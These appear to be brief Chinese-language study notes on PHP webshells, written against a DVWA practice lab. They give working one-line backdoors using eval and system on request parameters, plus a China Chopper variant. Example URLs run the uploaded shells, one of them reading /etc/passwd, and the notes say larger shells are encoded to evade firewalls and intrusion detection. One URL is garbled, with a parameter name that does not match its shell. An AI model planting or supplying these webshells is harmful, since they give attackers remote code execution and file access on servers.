webshell
小马:一句话木马也称为小马,即整个shell代码量只有一行,一般是系统执行函数
大马: 代码量和功能比小马多,一般会进行二次编码加密,防止被安全防火墙/入侵系统检测到
shell2.php #eval 使用php函数,例如phpinfo();
<?php eval($_REQUEST['pass']);?>
http://192.168.238.131/dvwa/hackable/uploads/shell2.php?pass=phpinfo();
shell3.php #system 使用Linux系统命令,例如ls,cp,rm
<?php system($_REQUEST['pass']);?>
http://192.168.238.131/dvwa/hackable/uploads/shell3php?
yangge=cat /etc/passwd
中国菜刀
<?php @eval($_POST['pass']);?>
说明:REQUEST是在网页端输入变量访问,POST则是使用像中国菜刀之类的工具连接
是C/S架构